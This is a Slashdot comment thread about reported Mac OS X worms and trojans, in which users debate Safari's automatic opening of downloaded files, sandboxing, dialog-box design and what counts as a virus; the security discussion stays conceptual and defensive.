    6. Re:No _holes_ found through exploits in the wild. by argent · · Score: 1

      The problem isn't that they can hide, it is that they can overwrite/modify commonly used and trusted applications and user settings.

      They don't need to be able to write to /Applications or /Library for that, they can do it all from ~/Library/InputManagers or any number of other locations in the user's own account. Changing the permissions on /Library or /Applications won't change that.

      I agree they should have tighter permissions there, but for a single-user system there's really no difference to the exposure from /Applications or ~/Library.

      Apple's HIG and most anyone with a clue will tell you that you need to provide buttons that are actions, thus the user has to read them and can't be conditioned to act on reflex.

      I didn't say they clicked "OK", I said they clicked "yes". That "yes" could be (and IS) just as often an action (like "Open") as not.

      They all involved new executables launching.

      No, the first LaunchServices failure was in 2004, and involved the Help viewer. The second, a year later, involved the "x-man-page" URI, which should NEVER have been in the list of URIs that Safari used. The latest one involved Terminal, and could just as easily have used another script-capable application.

      ALL these applications and URIs were Apple's, not new applications.

      If the average user wants to play a game they need the ability to do that without gambling that it won't compromise their system.

      No, they would like that ability, but I can't see any way to give it to them without radically changing the way modern games work. They need network access, they need significant amounts of persistant storage. They need to be able to download and install updates. Taking that away is just not going to happen.

      And, historically, the only time that there has been a problem with viruses embedded in games (or any other applications) been in the BBS era, when files were downloaded and uploaded to BBSs and the user was part of the distribution scheme for shareware.

      Today, the only apps you get that way that aren't otherwise verified and checksummed are pirated games on peer-to-peer networks, and it's easy enough for the user to avoid that. People who download files from the original author's site don't have that problem. If the file is infected, then they KNOW where it came from.

      Get rid of automatic execution paths that can get code injected into them, and reduce the problem to education, and the virus problem will remain, at worst, no worse than it was in the early '90s for people who didn't share files on BBSes... that is, basically non-existent.

    7. Re:No _holes_ found through exploits in the wild. by 99BottlesOfBeerInMyF · · Score: 1

      I agree they should have tighter permissions there, but for a single-user system there's really no difference to the exposure from /Applications or ~/Library.

      Perhaps, perhaps not. It is certainly a lot easier to infect existing applications when you actually have access to modify those application in their default location.

      I didn't say they clicked "OK", I said they clicked "yes". That "yes" could be (and IS) just as often an action (like "Open") as not.

      "Yes," is not an action. Actions are verbs or active phrases. A user can become conditioned to always click on "Yes." A user can just not read a dialogue box and click "yes" under the assumption that it will make things work. It is a violation of Apple's HIG and with reason. Here are two sample dialogues:

      Something something something (Yes)(No)

      Something something something (Open)(Don't Open)

      The latter example is a good design because even without reading the dialogue the buttons convey information and are actions. You know you are opening or not opening something. Also, due to the psychology of human/computer interaction most people are a lot more likely to read the text in the latter example. Ideally the buttons would actually be more explicit and provide even more information, but I'm sure you get the idea.

      No, the first LaunchServices failure was in 2004

      Ahh, you're talking about the old vulnerabilities, not exploits. I was referring to the most recent three pieces of malware, which were droppers/trojans for the most part. In any case to take the most recent example, it automatically ran a script in the terminal. That script should have been sandboxed (well it should not have been run in the first place but assuming it was due to this vulnerability or being a trojan) and should not have been able to do much of anything without the user being warned of the new script and given the option of allowing or stopping specific actions of that script.

      No, they would like that ability, but I can't see any way to give it to them without radically changing the way modern games work. They need network access, they need significant amounts of persistant storage. They need to be able to download and install updates. Taking that away is just not going to happen.

      There are certainly pain points. Some games need internet access and some don't but very few need to send e-mail or IMs or need access to any files outside a sandbox. There is no reason they should be restricted from writing files, so long as those files reside within the sandbox and don't overwrite anything. As for updates, well that and registration can be solved by building an official OS service for updating and registering that follows specific formats and is not restricted by default. There is a lot of low hanging fruit here that can be gathered. Just restricting access to e-mail addresses and IM buddy lists would stop a whole class of spam motivated malware.

      Today, the only apps you get that way that aren't otherwise verified and checksummed are pirated games on peer-to-peer networks, and it's easy enough for the user to avoid that. People who download files from the original author's site don't have that problem. If the file is infected, then they KNOW where it came from.

      That is not so, actually. There is plenty of spyware in particular that is distributed to the unknowing. There are open and closed source products that someone adds a backdoor into. There is commercial applications that want more permission to do things than users want (like randomly calling home and sending unknown data). And there are traditional worms and viruses that auto-install themselves through some hole in the firewall or service. All of these are executing code that would be a lot better for the user if it was in a sandbox.

      Get rid of automatic execution paths that can get code injected into them, and reduce the problem to education, and the virus problem will remain, at wor

    8. Re:No _holes_ found through exploits in the wild. by argent · · Score: 1

      "Yes," is not an action. Actions are verbs or active phrases.

      You're looking at the wrong thing.

      "Yes" isn't what's on the button. "Yes" is "whatever button approves the action".

      There's all kinds of things on the button.

      Including "Open" and other "active phrases". The training doesn't depend on the layout or the details of the button. Muscle memory takes over. It happens on the Mac with its much more common (though not universal) "active phrases". That's why some apps are now moving the buttons around, so you can't memorise which one's where and you have to stop and think. That's why on the Mac you don't have dialog boxes popping up when you throw files into the trash, like you do on Windows, because routine "are you sure?" dialogs (no matter how they're worded) get ignored.

      Stopping and thinking is the key, not what you're stopping and thinking about.

      Ahh, you're talking about the old vulnerabilities, not exploits.

      There were example exploits for all three of these cases, and they're not "old vulnerabilities", they're the same vulnerability that's still in the system: Safari's use of LaunchServices to open untrusted documents.

      In any case to take the most recent example, it automatically ran a script in the terminal. That script should have been sandboxed

      It ran a script in the shell using the Terminal as the mechanism to get to the shell. It did that because Safari used LaunchServices to open the ZIP (which used BOMArchiver) then it used LaunchServices again to open the file. That's three mistakes:

      1. It automatically unpacked a document.
      2. It automatically opened the content of the document.
      3. It used LaunchServices to open it.

      If any of these steps had been blocked, there wouldn't have been a way to get Terminal to open the document in the shell. The third step is the one that's common between the exploits I'm talking about.

      There is commercial applications that want more permission to do things than users want (like randomly calling home and sending unknown data). And there are traditional worms and viruses that auto-install themselves through some hole in the firewall or service. All of these are executing code that would be a lot better for the user if it was in a sandbox.

      If the commercial application is in a sandbox, then all the data that application uses and needs is in the sandbox, which means that things that matter to the user are still exposed to compromise.

      And on top of that, now the user has to keep track of which sandbox which applications are in, and manage even more complexity.

      You're better off forgetting that scheme, and go straight to an OS with mandatory access control, and give every application a classification group, rather than trying to reverse-engineer one by playing games with jails and discretionary access control.

      You're being naive. The internet has grown up and a lot of people have seen how much money there is to be made.

      That just means that education requires more effort. Education is still possible, if you use applications that give people a chance to learn. I've used this strategy with great success over the past decade and a half... it really works.

      Out of 150 users:

      Maybe a dozen have had problems with auto-downloaded files and clicking "open" when they shouldn't. None have done it twice.

      Three or four have downloaded and opened files manually.

      Two have problems with repeat-approvals. But even thewe two have managed to avoid downloading and opening a file more than once.

      Only one of these two has a problem with spyware.

      Passing shareware around is no longer the dominant mechanism for distribution. You don't send people applications in mail, you mail or IM them the website. There's no reason for people to engage in any activity that will lead them to get infected without deliberately downloading and unpacking an unsolicited attachment or document.

      EXCEPT that the p

    9. Re:No _holes_ found through exploits in the wild. by 99BottlesOfBeerInMyF · · Score: 1

      " Yes" isn't what's on the button. "Yes" is "whatever button approves the action". There's all kinds of things on the button.

      Why don't you provide an example of what you're talking about. As near as I can tell you're just making crap up here. First you said they'd click "yes," then that "yes" was an action, and now "yes" is not a button it is something else related to some sort of button with other stuff?

      Including "Open" and other "active phrases". The training doesn't depend on the layout or the details of the button. Muscle memory takes over.

      Muscle memory applies to finding common locations on a screen. Usually it only applies to the edges of the screen since you can't "memorize" how to go to the middle of the screen from an arbitrary starting point. When a user is not presented with a dichotomy in a formulaic way it does not apply. If dialogues provide multiple options with different wording depending upon the situation how is someone supposed to be trained to click a particular option? Always click the leftmost button? That will provide the desired behavior less than 50% of the time and seems unlikely to train users to do anything by rote.

      That's why on the Mac you don't have dialog boxes popping up when you throw files into the trash, like you do on Windows, because routine "are you sure?" dialogs (no matter how they're worded) get ignored.

      No, it is because they are unnecessary. You do get a dialogue if you try to perform lots of actions but only when a decision must be made by the user. Because the user has already chosen to throw something in the trash, there is no point asking them again. If, however, a new program wants to access a user's IM buddy list the computer does not know if the user wants that program to have access, so it should ask. If it is a new chat client or contact database, this will not seem unusual to the user. If it is game called "smack the monkey" they might decide they'd rather it does not read their buddy list. Thus the computer should ask.

      Stopping and thinking is the key, not what you're stopping and thinking about.

      What are you ranting about? The choice is ask users when new programs want to do something suspicious and give them the option to stop it or don't and I think the proper answer is obvious.

      It ran a script in the shell using the Terminal as the mechanism to get to the shell.

      Yup, but it would have had less chance of doing damage if it had run in a sandboxed shell. I'm not arguing that Safari auto-execution is a good idea, merely that it is not the only problem and an extra layer of security will stop both attacks that use that vector as well as other vectors.

      If the commercial application is in a sandbox, then all the data that application uses and needs is in the sandbox, which means that things that matter to the user are still exposed to compromise. And on top of that, now the user has to keep track of which sandbox which applications are in, and manage even more complexity.

      Sigh, you're completely missing the point. Every application should run in its own sandbox and have access only to the files, functions, hardware, other software, etc. that it needs. Especially, certain suspicious behaviors should be restricted by default for new applications. If you install a picture editor the OS should ask when it wants to access your images for the first time. It should ask again the first time it tries to access your e-mail address book or the internet or your taxes unless you have specifically granted it the right to view/edit those files

      You're better off forgetting that scheme, and go straight to an OS with mandatory access control, and give every application a classification group, rather than trying to reverse-engineer one by playing games with jails and discretionary access control.

      ACLs, jails, VMs, it does not matter the sandbox mechanism so long as it is fast and functional. It does need to be user configurable

    10. Re:No _holes_ found through exploits in the wild. by argent · · Score: 1

      Would you have been less confused if I'd written ... clicked on the "Infect Me" button...? The stuff inside the "..." is an example... different buttons say different things, depending on the application.

      Anyway, if you're going to accuse me of "making shit up", I'll bow out. Ciao.

  110. But at least it stops the bleeding by jdbartlett · · Score: 1

    True. At the moment, I'm running OS X in a Managed user w/all but Terminal enabled 'just in case' I open a dodgy zip (though the only 'abusive' zips I've opened have been harmless vulnerability proof-of-concept demos).

    It's a pain in the bum, a lot of things don't work w/out Terminal: Dashboard's been quirky, the ctrl+command+D dictionary shortcut doesn't work, etc. Plus, no terminal! This is the price I pay for the paranoia Windows has dragged me into over my decades as a Windows user (I only just switched this Jan)

    It'd be nice if Apple could come up with something fairly pronto...

  111. OSX Security by Anonymous Coward · · Score: 0
    A Wired article on OSX security ...


    http://www.wired.com/news/columns/0,70257-0.html?t w=rss.culture/

    ... and a shameless plug ....


    http://optimist.sdf-eu.org/ssp/


    Take care !

  112. Terminal isn't the problem. by argent · · Score: 1

    At the moment, I'm running OS X in a Managed user w/all but Terminal enabled 'just in case' I open a dodgy zip

    That's silly. If you turn off "Open Safe Files" and switch to something other than BOMArchiver for opening Zip archives then you'll be safe from attacks through other applications that have similar capabilities, AND you won't lose Terminal.

    Terminal isn't the problem.

    Safari and LaunchServices are the dysfunction siblings that cause the problem. There's not much you can do about LaunchServices, other than avoiding the REAL application that's being exploited (BOMArchiver), but you can keep Safari from hurting you pretty easily.

    I'd recommend installing Stuffit Expander but ONLY enable it for "zip", and turn off "Open Safe Files By Default", and quit worrying about the BOM.

    1. Re:Terminal isn't the problem. by jdbartlett · · Score: 1

      Thanks for the advice (as I said before, I'm an OS X noob). I already had Open Safe Files disabled, I was just worried I'd open a bad zip even by double-clicking and mess things up that way. I've got all my zips associated with StuffIt now. Thanks again!

    2. Re:Terminal isn't the problem. by argent · · Score: 1

      You still need to be aware that in Mac OS X the icon associated with a file can be overwritten in other file formats. Just opening a .sit or .dmg file won't run the embedded application (it was the combination of BOMArchiver and Safari that caused that to happen) but the icons you see may not be correct.

      In Finder, "show all file extensions" under advanced preferences (this is a pretty important security policy in Windows as well), and don't open files from untrusted sources directly, select "open with" or drag them to an application on the desktop or dock.

  113. Bollocks by Bazzalisk · · Score: 1

    The fact that windows is more popular is certainly part of why it has so many security flaws, but no operating system that runs with IPC ports open as default can make claims to be paying any attention to security.

    --
    James P. Barrett
  114. But Why? by joecomputerdude · · Score: 1

    Why hack a mac? Nobody does anything useful on them... ...aside from photoshop, and warcraft 3.

  115. Windows rejoices by devfsadm · · Score: 0

    Now, that heat will be off of the Microsoft OS's.
    It's all part of the 300 year world domination plan that Microsoft has.
    Macintosh should have never accepted the 150 Million from Microsoft in 1997.
    Maybe, now we will give those holier than thou Macintosh fanatics a piece of humble pie with a nice warm cup of shut the hell up.
    While I must admit Apple does make some nice hardware for running Linux.
    I love my Linux desktop with an occasional mix of Microsoft office products.

  116. There are two parts to this. by Ayanami+Rei · · Score: 1

    Any virus or trojan has two parts. The first is the route of infiltration, the second is the payload which has the ill effects.

    OS vendors can take care of the 1st part, and they already do. In theory, with a perfect OS (and a perfect user), there is no need for an antivirus or antispyware application.

    However users aren't perfect, and even with patched machines they double click hotmamas.jpg.exe or britneyspears.jpg.dmg and click yes yes yes... and then it's the job of tools like Symantec to identify and nullify the payloads (a vastly different problem then "securing the borders").

    Virus scanners search for undesirable (yet valid) code. OS vendors would be hard pressed to categorize any code as such; they need to stay neutral. But they should at least make sure the OS is robust, so only what the user intends to run is what is actually run in the first place.

    --
    THIS THING CAN TURN ON A DIME, MACROSSZERO STYLE ALSO FUCK BETA, ~NYORON
    1. Re:There are two parts to this. by thogard · · Score: 1

      They can fix the second part too. Microware OS-9 (Not related to Mac OS9 in any way) for the 6809/68000 would CRC check each executable and there were patches so that you could keep a program with a specific CRC from running. There should be a table in the OS of hashes of things not to run ever with a second table of overrides for the local admin/user to maintain independently than the one that could get updated every time software update gets run.

      There is no excuse for malware other than incompetence on the part of the OS vendor. Even blaming the lusers only goes so far. I also think people who get hit with malware DDOS should start asking the OS vendors for compensation based on existing product liability laws, innocent third party laws and product recall laws.

    2. Re:There are two parts to this. by drsmithy · · Score: 1
      There should be a table in the OS of hashes of things not to run ever with a second table of overrides for the local admin/user to maintain independently than the one that could get updated every time software update gets run.

      In other words, it offers about as much of a defence as we have now.

      There is no excuse for malware other than incompetence on the part of the OS vendor.

      Bullshit. No OS can defend against the end user deliberately running malicious code (which covers about 90% of malware infections).

    3. Re:There are two parts to this. by thogard · · Score: 1

      No OS can defend against the end user deliberately running malicious code

      Its trivial to check the 1st few blocks of a program against a table and not let the user run it even if they keep clicking on the shiny icon. This feature should have been built into every version of windows since about 3.1 since DOS 5 even did this to keep from running things.

    4. Re:There are two parts to this. by NutscrapeSucks · · Score: 1

      There should be a table in the OS of hashes of things not to run ever with a second table of overrides for the local admin/user to maintain independently than the one that could get updated every time software update gets run.

      Windows 2000 and up can do this.

      --
      Whenever I hear the word 'Innovation', I reach for my pistol.
    5. Re:There are two parts to this. by drsmithy · · Score: 1
      Its trivial to check the 1st few blocks of a program against a table and not let the user run it even if they keep clicking on the shiny icon

      Who maintains the "table" ?

  117. Yes. by jscotta44 · · Score: 1

    Actually, yes, I do. I can personally tell you about several Windows installations (up-to-date with updates) with anti-virus software (up-to-date), that were still completely taken down by malware. In fact, the antivirus software was specifically attacked and rendered useless in several of the cases. The users do not make a habit of opening anything that they do not know exactly who it is from.

    So, yes, I know that many of the stories that we read about are from users who keep their systems up-to-date and use a bit of common sense. Yet Windows is still compromised.

    I can't speak for Linux (too many distros to even begin speaking about all of them). I cannot tell you if OS X will survive a concerted attack like Windows gets. No really knows until it happens (that goes for the supporters and critics equally). But I can tell you that Windows is full of problems even for prudent and prepared people. That much has been proven to me and that is what I tell my clients.

  118. the process of finding Mac "worms" went like this: by balloot · · Score: 1

    Marketing Guy at Symantec:
    "Hey - people are starting to realize that anti-virus software for a Mac is totally worthless because there are no viruses! What do we do?"

    Engineer at Symantec:
    "Well...let me see - if you download this file, which sorta looks like it could be an image, double click it, and then hit OK twice, you could theoretically install malicious software on your Mac. But from what I know, nobody's ever done that....

    Marketing Guy:
    "GREAT! I'll let the guy at the WSJ know about the epidemic right away!"

  119. Funny, and my guess is that it is accurate. by Futurepower(R) · · Score: 1

    LOL. That's probably close to word-for-word what was said.

  120. you know who else pisses me off? by Some_Llama · · Score: 1

    Doug and his Doug OS 3.2, yah he doesn't have to worry about viruses or worms and such, no published system flaws, and he doesn't miss an opportunity to rub my face in it for using windows, but sooner or later once he gets past .00001 market share, his day will come, oh yes his day will surely come.. that's when I get to gloat.. mwuahhaha.

  121. RTFA by geekee · · Score: 1

    "seriously if you have to manually download the program and enter your admin password, it is not a virus or a worm. I dont know why people keep calling it that. It is a Trojan and those have existed since the first rm -rf / script."

    From the article:
    "Among the concerns: two "worms," programs written by unknown hackers that were designed to spread themselves to other Macs through Apple's iChat instant-messaging software and Bluetooth wireless-communications capability."

    --
    Vote for Pedro
  122. This is news? by MacColossus · · Score: 1

    I submitted a better article than this yesterday and it was rejected. Symantec still has an unpatched security hole that affects all platforms including OS X, McAfees support of the mac platform has been dubious at best, and last week the hot topic on the macenterprise.org mailing list was that Sophos will generate false positives on the mac platform and quarantine or delete legitimate clean apps. I've installed Clamxav, made sure auto-opening of "safe" files is turned off, made sure unnecessary services are turned off and firewalled, and set a strong password for SSH. Come and get me.

  123. Much ado about nothing by mamer-retrogamer · · Score: 1

    First of all, it should be no surprise that virus protection companies are the ones who are the most vocal about these potential Mac OS X vulnerabilities. Without Mac viruses, they have no product to sell to the increasing numbers of Mac users.

    Leap-A (the iChat worm) is essentially an executable disguised as a JPEG image file and requires the potential target user to manually accept the file download and then manually open the executable. Even Symantec classes the malware as a low threat because it doesn't automatically infect other's machines. The company says it has seen less than 50 infected machines.

    The second piece of Mac OS X malware, Inqtana.A, is a Java-based "proof of concept" that exploits a vulnerability in the Bluetooth implementation in versions of Mac OS X that haven't been updated with security patches (specifically, Mac OS X 10.4.0). Inqtana.A exploits a vulnerability whereby it causes the affected machine to automatically send an Object Exchange (OBEX) Push request to any other system listening over Bluetooth. To spread, the targetted user must manually accept the data transfer. Again, this threat does not automatically infect other's machines.

    Additionally, this potential Bluetooth exploit was actually documented way back in May 2005 and Apple issued a security update in June 2005 that closed the hole (Apple Security Update 2005-006). Apple also integrated that security change into all versions of Mac OS X starting with v10.4.1.

    The worms that have made headline news, and now seem almost commonplace for Windows users, are the ones that spread without any user interaction due to the poor default configuration and automatic code execution of Windows -- they can infect millions of machines on the internet in hours.

    The only relevant part of the article comes at the very end:

    "Many viruses and worms, for instance, don't exploit security holes in operating systems. Instead, they use what are called ''social engineering'' techniques to trick users into doing things that they shouldn't do, like unwittingly installing programs."

    "Rather than weaknesses in operating systems, such approaches exploit ''a bug in peoples' brains, which is much harder to patch,'' Mr. Cluley says."

    Leander Kahney of Wired echos exactly my sentiments on these events:

    http://www.wired.com/news/columns/0,70257-0.html?t w=wn_index_25

    By the way, the Safari vulnerability talked about in the above Wired article can be attributed to poor program defaults (along with poorly tested code for backwards-compatibility to Mac OS 9) and can be completely avoided by disabling the "Open safe files after downloading" preference in Safari. Keep in mind that Safari is just an application program which runs on Mac OS X and is not integrated into it in the way that Internet Explorer is integrated into Windows. Even if this vulnerability could not mitigated by a simple preference toggle, you could just uninstall Safari (a matter of simply dragging its icon into the trash) and install a different web browser in its
    stead (such as Mozilla Firefox). That's something you just can't do with Internet Explorer or other parts of Windows.

    And in response to all the smug Windows apologists who think these recent developments prove that no operating system is truly safer than another and the number of exploits for an operating system are directly proportional to market share, I have this to say:

    There were approximately 16,000 new viruses that targetted Windows XP in 2005. There have been 2, count them, 2 pieces of malware that targetted Mac OS X since 2001 (when Mac OS X was originally released). Taking market share into account (Windows XP at roughly 80% and Mac OS X at roughly 4%), we can extrapolate that there should have been 20,000 new viruses across all operating systems in the last 12 months (16,000 / 80%). At this rate, Mac OS X should have had 800 new viruses in the last 12 mo

    --
    Schrödinger's cat is not amused—maybe.
    1. Re:Much ado about nothing by MacColossus · · Score: 1

      Very well stated.

  124. False analogy by geekee · · Score: 1

    "False logic. That is like saying that if tanks were more popular they would be less secure than than light armored vehicles"

    If MacOS is so secure, why do they keep releasing security updates? How often have linux web servers been defaced? I don't think unix variants are as secure as you think they are.

    --
    Vote for Pedro
    1. Re:False analogy by db32 · · Score: 1

      I didn't say anything about MacOS or Linux or Unix or Windows. My point is the logic behind being a more popular target making them a more vulnerable target is wrong.

      If you must relate the tank statement to specific OS, then understand that tanks aren't invulnerable, it just takes a different class of weapon to bring one down. Also understand that tanks don't use the same armor today that they did 40 years ago. It would be stupid not to update security to deal with new threats and discovered weaknesses.

      --
      The only change I can believe in is what I find in my couch cushions.
  125. Cool. by mindstrm · · Score: 1

    Can anyone cite any information on these alleged mac worms?

    All this is sensible.. but so far nobody has shown an actual worm or virus in the wild that targets OS X.

    So far this sounds like pure conjecture.

  126. Sounds like FUD by mhollis · · Score: 1

    Firstly, I note that it was the Wall Street Journal that lead the way in saying the Apple was doomed. This was pre-Jobs and was when their stock was selling for about $14 per share. I bought Apple stock that year.

    I made my purchase thinking that the sale of the technology in the company, assuming a bankruptcy, would cover a $14 share price. The industrial design was what saved it.

    Now Jobs is back. The WSJ is hacked because their bets didn't pay off.

    So they go searching for a bedfellow -- let's see, someone like Symantec who hasn't been able to made any good code at all for Apple Macintosh computers since the dawn of OS X to analyze their system

    Now this is probably the hallmark of the WSJ's reporting on Apple: "Let's get someone who absolutely cannot understand's Apple's operating system to comment on it. Then, let's publish what they say as if they actually had standing in the Mac community like they still do in the pee cee community and see if we can confuse the issue even more."

    Better yet: "Let's go out and rewrite and publish a press release put out by that company as if it were our own story (which is much of what you read about companies in the WSJ) without checking up on their bona-fides. After all, we need filler because our ad people have just sold another three or four more pages of ads and we're running out of copy."

    There has been one incident of malware noted in the wild that ran on Apple's OS X (assuming you discount Sony's DRM scam) and it warned you. Since Windoze XP has come out, how many incidents of malware have been noted?

    Apple's OS isn't absolutely impregnable -- hardly anything is -- but that does not give Symantec or the Wall Street Urinal (sic.) license to fabricate.

    --
    Gods don't kill people, people with gods kill people.
  127. Re:Listen to those pathetic little mac zealots... by Anonymous Coward · · Score: 0

    Steps to understanding a mad man....
    1) Take notes the next time you think
    2) Take said notes (if legible) to head doctor for translation
    3) REPEAT until understood.

    Yes, this could be considered an infinate loop, but that's not my problem...

  128. Analogy by Shazow · · Score: 1

    No kidding.

    A virus is like the "cold" you catch because you didn't wear enough layers and the low body temperature made your immune system weak.

    Or the random virus circulating the Interweb that infiltrated an exploit in your program/OS because you didn't get the latest patches.

    On the other hand, this is more like...

    Someone giving you a handgun and telling you it's a can of whipped cream. You put it to your mouth, pull the trigger, and blow a chunk of your cheek off.

    Or someone giving you a file, telling you it's a program illustrating Lindsey Lohan clad in whipped cream. You put it in your computer, type in your root password, install it, and blow a chunk of your OS off.

    - shazow

  129. Re:Listen to those pathetic little mac zealots... by quadelirus · · Score: 1
    Misquote: I'm totally astounded by the amount of fact twisting and intellectual contorsionism almost all windows zealots subject themselves to in order to escape reality. How can you all keep breathing with those tons of sand over your heads ?
    Read me lips: THERE IS NO SUCH THING AS A SECURE OS. PERIOD. AND THERE NEVER WILL BE. EVER. GET IT ?
    (I call that the pirate line, right up there with "shiver me timbers")
    There are only two absolutes regarding computer security: 1) Hackers will ALWAYS be better and more skilled than security experts; 2) Users will ALWAYS be clueless assholes that will click on whatever the heck that little box on the screen tells them to click on.
    1.) Why do you think some 11 year old kid, or a Russian mafioso will be smarter than a (for instance Harvard) trained Security expert with a background in number theory or extensive experience coding assembly? By what reasoning do you come by this conclusion? How many "haxors" do you know, and are they really as brilliant evil genious as you make them out to be.
    2.) Nobody said that a user couldn't make a system insecure. I can install a telnet server on my computer with a administrator logon with no password. This would be idiotic and extremely insecure but it isn't the fault of the OS and therefore is NOT relevant in anyway to this discussion.

    It is true that there ARE no secure OSs at the moment. Since no OS has been completely and utterly designed with only security in mind (Reference: the secure box is the unplugged box joke). No one has proven that the concept is not possible however, and I challenge you to come up with a proof. For example: I'm pretty sure that it would be a fairly simple task to create an OS to run just a network driver and a monitor that would connect to the internet and download static web pages only that would have no security bugs whatsoever. Now that would be pretty useless but your premise that "THERE IS NO SUCH THING AS A SECURE OS" is in theory (though currently not in practice) ridiculous.
  130. The Malware here is... by tfcdesign · · Score: 1

    All these dumb media outlests that dont understand what they are reporting. None of these latest attempts at the Apple OS security are a major threat. People are just envious of Apples current fan fare. I am surprise the article didnt predict Apple going out of business like they have for the last 20 years.

  131. Worms turn on Macs? by mh101 · · Score: 1

    Cool. Saves me the trouble of reaching for the power button myelf. Not that I ever turn it off, for that matter.

    --
    Duct tape is like the Force. It has a light side, a dark side, and it holds the universe together.
  132. What do they mean by "turn on"? by StikyPad · · Score: 1

    Do they mean turn on as in power on, or do they mean Macs get hot & bothered by worms?

  133. Melisa virus was a trojan? Most VX spread manually by njyoder · · Score: 1

    You sir, are an idiot. Almost all DOS viruses and most Windows viruses require you to manually execute the infected program to spread it. So I guess 99% of what has been called 'viruses' are just trojans, according to your "expert" opinion. Remember the Melissa virus? That required you to manually run the e-mail attachment. These kinds of viruses are VERY COMMMON.

    1. Please find me a reputable definition of a virus that says it can't require you to enter a password.
    2. Please find me a reputable definition of a virus that says you can't manually run it.

    Virus: A program that infects other programs in order to spread.
    Worm: A program that spreads itself over an internet connection. Some definitions require it to directly open an internet connection (use sockets) rather than piggy backing on some other service.
    Trojan: Malicious program disguised as a legitimate one. Does not spread.

    In the case of the recent OS X malware, it was both a worm and a virus. It attempts to infect local executables. It also attempts to send itself via iChat.

    I wish Apple apologists doing damage control after a bonafide virus/worm has shown up for their platform. Just admit your error. Please, mod the other posts down into oblivion. I'm sick of them saying that "it's not a virus" when it fits the DE FACTO standard definitions that hackers, security experts and virus writers use.

  134. Wow, that's cool. by Anonymous Coward · · Score: 0
    "There's no step three. *laughs* There's no step three!"
    <sarcasm>
    Well isn't that cool now. Installing software on Windows computers is SO MUCH harder. I mean, jeez people, do you ACTUALLY expect me to have to DOUBLE-click on that installer icon? What, do you think I have the time and intelligence to DOUBLE-CLICK on it, and *gasp* even agree to a EULA and couple of simple prompts!!! And I have to watch a progress bar as it shows me what it's doing???
    Do I look like a genius to you?!?
    OUTRAGEOUS!
    </sarcasm>
    Ladies and Gentlemen, bust out your LARTs.
  135. Definition of Hacker by durbhaviswanath · · Score: 1

    Hackers are supposed to be good people, people who are masters of their domain and are willing to help out others. But unfortunately, the media (both print and online) almost always seems to tag the term hackers to someone who breaks into other people's computers. Atleast, on websites like Slashdot, I expected to people to understand the meaning of 'Hackers' and 'Crackers'

  136. MAC GOES INTEL & EXPLODES. by thomasxstewart · · Score: 0

    Perhaps just dealing with INTEL is enough to ruin everything. Its too bad MAC has such problems navigating about & performing chores in first place. NEVER FORGET:"MAC IS CRAP".Signed:PHYSICIAN THOMAS STEWART VON DRASHEK M.D.

    --
    WINDOWS XP Service Pack -X- 396 mb. http://www.geocities.com/tsvondrashekmd/WASHINGTON .html
    1. Re:MAC GOES INTEL & EXPLODES. by procrastin8r · · Score: 1

      yeah, Macs are reeeeally hard to 'navigate about.'
      doofus.
      I'm pretty sure that's why the whole 'mouse' thing caught on.

  137. What's so wrong? by zopf · · Score: 1

    To be honest, I saw it coming... the sleek designs, the cute sounds, that sly come-hither stare. So "worms" (ahem) turn on Macs... that's their decision and they should be proud of it :)

    --
    Did you see the pool? They flipped the bitch!
  138. Re:Oblig by spxero · · Score: 1

    Now that you mention it, I find this thread shallow and pedantic.

  139. Sorry, play again. by Ayanami+Rei · · Score: 1

    That would require the OS vendor to have, on file, a list of every binary of every version of piece of software anyone would care to run on the system. (Viruses patch programs, so simple checksums don't really help you there). The most you could do is identify specific pieces of stand-alone malware, which is dwarfed by many other types of attacks.

    This is an essentially impossible task, and it would suck for developers. It also puts the burden on the OS vendor to decide good vs. bad software. It's a sometimes arbitrary decision that is best serviced by having multiple competing vendors for a end-user to choose from (one that protects a user from softwares most out-of-line with that users' interests). The OS vendor could also abuse this position to reduce competition (not promptly signing or labeling software it doesn't like as "bad").

    Yeah, so no. I think the current state-of-the-art (code fingerprinting and multiple vendors) is probably a more scalable, less big-brotherish solution.

    --
    THIS THING CAN TURN ON A DIME, MACROSSZERO STYLE ALSO FUCK BETA, ~NYORON
  140. PC inferiority complex strikes again by procrastin8r · · Score: 1

    isn't this last week's news? didn't this discussion already happen? Anybody who's used Macs for a long period of time knows that they aren't 'safe.' But they are a HELL of a lot saf-er. amazing. it used to be 'Macs have no viruses because nobody uses them.' Now that it's widely agreed that they're pretty great and Xp is a royal pain to secure, it's 'see, I told you Macs aren't any better.' YES THEY ARE! and yes I use both.

  141. As I predicted, Apple has not fixed the problem. by argent · · Score: 1

    As I predicted, Apple has merely patched the current incarnation of this flaw. It hasn't changed the flawed model of treating files as "safe".

    As I noted the last time, there will be future exploits of this type until Apple takes the simple step of establishing a parallel registry of trusted programs, rather than trying (in vain) to echieve a balance between convenience and security using a single list of helpers and URI handlers for both local and untrusted content.

    Ironically, the fix in 10.3.9 (do not open the content) is better than the fix in 10.4.5 (warn the user about the content).

  142. Re:As I predicted, Apple has not fixed the problem by aristotle-dude · · Score: 1

    Which security software company do you work for? Are you the author of the Leap exploit?

    --
    Jesus was a compassionate social conservative who called individuals to sin no more.
  143. Apple's helping antivirus companies sell schlock. by argent · · Score: 1

    If I was working for an antivirus company I'd be happy Apple was starting to go down the Microsoft path, where there's so many security holes in the OS that the whole fundamentally broken approach of "antivirus" software is the only way to stay secure.

    Automatic opening of untrusted content is a VERY dangerous operation, and if it is to be implemented at all it MUST be implemented using an interface that's dedicated to the execution of trusted handlers for that content.

    Using LaunchServices or Windows Explorer when starting applications to open attachments or downloaded files is like passing CGI variables to programs using system(). The requirements for an API that's used by local applications to open local content are fundamentally different from those for an API used by applications handling untrusted content. Instead of trying to make sure that every local application is crippled and bound about with warnings and alerts, they should be implementing a locked down interface just for browsers, mail software, and so on...

  144. momma always said.. by expressovi · · Score: 1

    an apple a day keeps the doctor (symantec) away.

    --
    i agree
  145. Apple Worms by indyweb · · Score: 1

    Glad for the PR. I have a relative with an Apple and she had no idea how to check or protect her system. I think it's about time all Apple users take the initiative to protect their system and keep their anti-virus software up-to-date (and install it first!).